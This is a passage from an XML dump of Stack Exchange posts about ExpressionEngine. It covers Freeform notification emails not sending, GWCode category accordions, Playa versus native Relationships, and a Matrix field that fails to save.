class=&quot;float-left&quot;&amp;gt;(Optional)&amp;lt;/label&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;span&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; id=&quot;accept&quot; class=&quot;checkbox&quot; /&amp;gt;&#xA;&amp;lt;label for=&quot;accept&quot; class=&quot;checkbox-label&quot;&amp;gt;By checking this box, you agree to share your Dreams and Goals on our website and other social media sites like Facebook and Twitter for others to see and enjoy.  We might also show them in our IPMG written materials.  We would only use your first name and city.  If you do not want us to show your Dreams and Goals, do not check this button, and they will be kept private.&amp;lt;/label&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;cta float-left&quot; id=&quot;form-main&quot; onclick=&quot;return ValidateForm();&quot; {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a notification template called &quot;default&quot; saved in Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to what may be going on? Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-08-27T12:41:04.180" Title="Solspace Freeform Pro 4.0.12 Not Sending notify_user email" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13099" PostTypeId="1" CreationDate="2013-08-23T14:06:44.327" Score="0" ViewCount="412" Body="&lt;p&gt;I'm building quite a complex travel company site, where things like different vacation packages need to be linked to different modes of transport, hotels, various different statuses and categories etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a tour might have 4 different trains and a boat. I have created a channel, Trains, and another channel, Boats. I'm wondering what the best way to link these up is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the advantages/disadvantages of using EE 2.6's improved Relationships feature vs something more comprehensive like Playa?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-08-23T15:40:43.507" Title="EE 2.6 Relationships, or Playa?" Tags="|channel-entries|playa|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13100" PostTypeId="1" AcceptedAnswerId="13140" CreationDate="2013-08-23T14:08:02.237" Score="1" ViewCount="337" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list&quot;&amp;gt;&#xA;    {exp:channel:categories &#xA;    parent_only=&quot;no&quot; &#xA;    show_empty=&quot;no&quot; &#xA;    style=&quot;linear&quot; &#xA;    category_group=&quot;{if segment_1 == &quot;cave&quot;}3{/if}{if segment_1 == &quot;clothing&quot;}7{/if}{if segment_1 == &quot;accessories&quot;}8{/if}{if segment_1 == &quot;brands&quot;}2{/if}&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;article&amp;gt;&#xA;            &amp;lt;a href=&quot;/{segment_1}/category/{category_url_title}&quot;&amp;gt;&#xA;              {category_image}&#xA;              &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But category_group doesn't seem to be working, I've tried the segment names in both double quotes and single quote and it still doesn't work any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-08-25T15:23:32.327" Title="exp:channel:categories - category_group not working" Tags="|categories|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13101" PostTypeId="1" CreationDate="2013-08-23T15:21:59.967" Score="0" ViewCount="668" Body="&lt;p&gt;Edited (now trying to get this to work for a 3rd level of categories)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get an accordion menu to work with bootstrap and GWCODE Categories. The problem I'm having is determining when a category depth starts and ends so that I can open and close divs appropriately. I have 3 main categories, multiple 2nd level categories, and multiple 3rd level categories. Here's the code I have so far which I'm trying to get to work for the third level of categories: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories  style=&quot;linear&quot; group_id=&quot;1&quot; depth=&quot;1|2|3&quot;}&#xA;    {if depth1_start}&#xA;    &amp;lt;div class=&quot;accordion-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;accordion-level1-header&quot;&amp;gt;&#xA;        &amp;lt;!-- LEVEL 1 CONTAINER --&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;accordion-toggle&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#{cat_url_title}-level2&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;        {if depth2_start}&#xA;        &amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;          &amp;lt;div id=&quot;{parent_url_title}-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;        {/if}&#xA;          {if depth==2}&#xA;            &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#{cat_url_title}-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;          {/if}&#xA;            {if depth3_start}&#xA;            &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;              &amp;lt;div id=&quot;{parent_url_title}-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;            {/if}&#xA;              {if depth==3}&#xA;                &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;              {/if}&#xA;          {if depth3_end}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- END OF LEVEL 3--&amp;gt;&#xA;          {/if}&#xA;        {if depth2_end}&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!-- END OF LEVEL 2--&amp;gt;&#xA;        {/if}&#xA;    {if depth1_end}&#xA;   &amp;lt;/div&amp;gt; &amp;lt;!-- END OF LEVEL 1--&amp;gt;&#xA;   {/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The HTML that is output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- LEVEL 1 CONTAINER --&amp;gt;&#xA;  &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Data Solutions  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;accordion-toggle&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#data-solutions-level2&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;&amp;lt;div id=&quot;data-solutions-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper&quot;&amp;gt;Copper  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#copper-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;  &amp;lt;div id=&quot;copper-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/copper-cable&quot;&amp;gt;Copper Cable  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/copper-connectivity&quot;&amp;gt;Copper Connectivity  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/plastics&quot;&amp;gt;Plastics  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- END OF LEVEL 3--&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END OF LEVEL 2--&amp;gt; &#xA;&amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;&amp;lt;div id=&quot;data-solutions-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre&quot;&amp;gt;Fibre  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#fibre-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;  &amp;lt;div id=&quot;fibre-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre/fibre-cable&quot;&amp;gt;Fibre Cable  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre/fibre-connectivity&quot;&amp;gt;Fibre Connectivity  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- END OF LEVEL 3--&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END OF LEVEL 2--&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="1945" LastEditDate="2013-08-27T11:30:01.300" LastActivityDate="2013-10-26T12:02:22.913" Title="Displaying a category tree accordion with GWCode Categories &amp; Bootstrap" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13102" PostTypeId="1" AcceptedAnswerId="13114" CreationDate="2013-08-23T15:37:00.263" Score="2" ViewCount="392" Body="&lt;p&gt;OK - I need some fresh eyes on this as I think it all looks correct but I'm not getting emails coming through.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Freeform 4.0.12 &lt;/li&gt;&#xA;&lt;li&gt;EE 2.6.1 &lt;/li&gt;&#xA;&lt;li&gt;CP-generated email coming through fine&lt;/li&gt;&#xA;&lt;li&gt;Form entries appearing in FreeForm CP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Goals: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multiple recipients based on selected checkboxes&lt;/li&gt;&#xA;&lt;li&gt;Defaulting checkbox choice based on URL&lt;/li&gt;&#xA;&lt;li&gt;Selected names/appearing in the notification email&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Template Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:freeform:form&#xA;form:id=&quot;contact-form&quot;&#xA;form_name=&quot;contact&quot; &#xA;required=&quot;name|email&quot;&#xA;return=&quot;contact/thanks&quot;&#xA;recipients=&quot;yes&quot;&#xA;recipient_limit=&quot;10&quot;&#xA;recipient_template=&quot;to_era&quot; &#xA;recipient1=&quot;recipient1|email1@email.com&quot;&#xA;recipient2=&quot;recipient2|email2@email.com&quot;&#xA;recipient3=&quot;recipient3|email3@email.com&quot;&#xA;recipient4=&quot;recipient4|email4@email.com&quot;&#xA;recipient5=&quot;recipient5|email5@email.com&quot;&#xA;recipient6=&quot;recipient6|email6@email.com&quot;&#xA;recipient7=&quot;recipient7|email7@email.com&quot;&#xA;recipient8=&quot;recipient8|email8@email.com&quot;&#xA;recipient9=&quot;recipient9|email9@email.com&quot;&#xA;recipient10=&quot;recipient10|email10@email.com&quot;&#xA;}&#xA;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; size=&quot;40&quot; maxlength=&quot;64&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot; size=&quot;40&quot; maxlength=&quot;128&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;telephone&quot;&amp;gt;Telephone:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;telephone&quot; name=&quot;telephone&quot; size=&quot;40&quot; maxlength=&quot;16&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;availability&quot;&amp;gt;What is the best time for us to reach you?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;availability&quot; name=&quot;availability&quot; size=&quot;40&quot; value=&quot;&quot; class=&quot;textfield&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;message&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; class=&quot;textfield&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;fieldset id=&quot;community_checkboxes&quot;&amp;gt;&#xA;      &amp;lt;legend&amp;gt;Select each of the communities are you interested in.&amp;lt;/legend&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- ravenna --}&#xA;           &amp;lt;input{if segment_2==&quot;ravenna&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value1}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value1}&quot;&amp;gt;{freeform:recipient_name1}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; &#xA;           &amp;lt;input{if segment_2==&quot;wallingford&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value2}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value2}&quot;&amp;gt;{freeform:recipient_name2}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;p&amp;gt; {!--lakeshore--}&#xA;           &amp;lt;input{if segment_2==&quot;north-seattle&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value3}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value3}&quot;&amp;gt;{freeform:recipient_name3}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- broadview --}&#xA;           &amp;lt;input{if segment_2==&quot;mercer-island&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value4}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value4}&quot;&amp;gt;{freeform:recipient_name4}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--wallingford --}&#xA;           &amp;lt;input{if segment_2==&quot;lakeshore&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value5}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value5}&quot;&amp;gt;{freeform:recipient_name5}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!-- mercer-island --}&#xA;           &amp;lt;input{if segment_2==&quot;issaquah&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value6}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value6}&quot;&amp;gt;{freeform:recipient_name6}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--issaquah --}&#xA;           &amp;lt;input{if segment_2==&quot;broadview&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value7}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value7}&quot;&amp;gt;{freeform:recipient_name7}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt; {!--bellevue --}&#xA;           &amp;lt;input{if segment_2==&quot;bellevue&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value8}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value8}&quot;&amp;gt;{freeform:recipient_name8}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;         &amp;lt;p&amp;gt; &#xA;           &amp;lt;input type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value10}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value10}&quot;&amp;gt;{freeform:recipient_name10}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;        &#xA;&#xA;        &amp;lt;p&amp;gt; &#xA;           &amp;lt;input{if segment_2==&quot;&quot;} checked{/if} type=&quot;checkbox&quot; id=&quot;{freeform:recipient_value9}&quot; class=&quot;community_chbx&quot; value=&quot;&quot; name=&quot;recipient_email[]&quot;&amp;gt;&#xA;           &amp;lt;label for=&quot;{freeform:recipient_value9}&quot;&amp;gt;{freeform:recipient_name9}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;p&amp;gt;&amp;lt;input id=&quot;button_submit&quot; name=&quot;submit&quot; type='submit' value='Submit Form' /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have I missed something obvious?&lt;/p&gt;&#xA;" OwnerUserId="651" LastEditorUserId="651" LastEditDate="2013-08-23T16:57:22.193" LastActivityDate="2013-08-23T21:34:02.087" Title="Freeform 4.0.12 and Multiple Recipients" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13103" PostTypeId="2" ParentId="13099" CreationDate="2013-08-23T15:40:43.507" Score="6" Body="&lt;p&gt;My decision to use playa over Ellis' new relationships, is based on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When you buy an addon from a top-notch developer like Brandon Kelly, it comes with developer support, which can include timely addition of future features that you request v. paying for a support plan from Ellis if you don't have one already.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2} Playa has been vetted for many years in the real world by a very large number of users with very complex needs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Playa is much more robust.  It is well integrated with the P &amp;amp; T first class add-on line-up and many other very popular add-ons.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) It is low variables compatible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) When the user community supports our top-notch developer community, we keep EE excellent.   &lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-08-23T15:40:43.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13104" PostTypeId="1" AcceptedAnswerId="13106" CreationDate="2013-08-23T15:48:44.487" Score="0" ViewCount="53" Body="&lt;p&gt;I am using freeform 4.0.12 on EE 2.6.1. Everything works except the comments textarea field contents are not displaying in the Admin Notification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;form_id=&quot;1&quot;&#xA;form:id=&quot;contact&quot;&#xA;required=&quot;name|email&quot; &#xA;return=&quot;contact/thank-you&quot; &#xA;notify_admin=&quot;yes&quot;&#xA;notify_admin_template=&quot;contact&quot; &#xA;}&#xA;&#xA;&amp;lt;label for=&quot;first_name&quot;&amp;gt;&amp;lt;span&amp;gt;First Name:&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;last_name&quot;&amp;gt;&amp;lt;span&amp;gt;Last Name:&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; id=&quot;last_name&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;span&amp;gt;Email:&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;phone&quot;&amp;gt;&amp;lt;span&amp;gt;Phone:&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;phone&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;comments&quot;&amp;gt;&amp;lt;span&amp;gt;Comments:&amp;lt;/span&amp;gt;&#xA;&amp;lt;textarea name=&quot;textarea&quot; name=&quot;comments&quot; id=&quot;comments&quot; rows=&quot;10&quot; cols=&quot;50&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/label&amp;gt;  &#xA;&#xA;&amp;lt;label for=&quot;captcha&quot;&amp;gt;&amp;lt;span&amp;gt;Enter this value:&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;{freeform:captcha} &amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;label for=&quot;captcha-2&quot;&amp;gt;&amp;lt;span&amp;gt;Here:&amp;lt;/span&amp;gt;&#xA;&amp;lt;input class=&quot;captcha&quot; type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input checked=&quot;submit_button&quot; type=&quot;image&quot; src=&quot;/photos/btn_submit.png&quot; alt=&quot;submit form&quot; /&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code in the notification form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{first_name} {last_name} submitted the following information from the website contact page:&#xA;&#xA;{all_form_fields}&#xA;    {field_label}&#xA;    {field_data}&#xA;{/all_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I get the response back it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mark Twain submitted the following information from the website&#xA;  contact page:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;First Name  Mark&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Last Name   Twain&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Email   markt@macx.com&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Phone   919-000-0000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Comments&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note: The comments are blank. So sad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-08-23T16:13:17.137" Title="Why don't the Comments field display in the Admin Notification Template?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13105" PostTypeId="2" ParentId="13088" CreationDate="2013-08-23T15:51:17.423" Score="0" Body="&lt;p&gt;Subsegment works well with Structure.  Subsegment allows you to split a url segment into a subsegments array and find any subsegment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/subsegment&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/subsegment&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-08-23T15:51:17.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13106" PostTypeId="2" ParentId="13104" CreationDate="2013-08-23T16:13:17.137" Score="1" Body="&lt;p&gt;Your &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; as shown has &lt;em&gt;TWO&lt;/em&gt; &lt;code&gt;name=&lt;/code&gt; parameters.  I doubt that's helping matters.&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2013-08-23T16:13:17.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13107" PostTypeId="2" ParentId="13102" CreationDate="2013-08-23T16:30:21.480" Score="0" Body="&lt;p&gt;You have recipient1 repeated as a param rather than recipient1, recipient2, etc.  May be nothing, or that may be it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-23T16:30:21.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13108" PostTypeId="1" CreationDate="2013-08-23T16:57:58.103" Score="2" ViewCount="161" Body="&lt;p&gt;I had an issue on an earlier site build where entries containing a Matrix field with numbers of rows in excess of about 60 wouldn't save. The Matrix field in question contained two Assets fields, a couple of text fields and a PT Pill. I thought I had traced the issue to a problem in upgrading from Assets 1 to 2, and for various reasons ended up downgrading to 1 again as a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've now run into the same issue again on a brand new site, with fields exactly as described above, using Assets 2. It's for a photographic portfolio - the like of which I've built several times before using Assets 1 and never had this problem. What happens is that when I try to save the entry, when having gone above a certain number of rows, the browser load bar sticks, and eventually (after several minutes) I get an internal server error 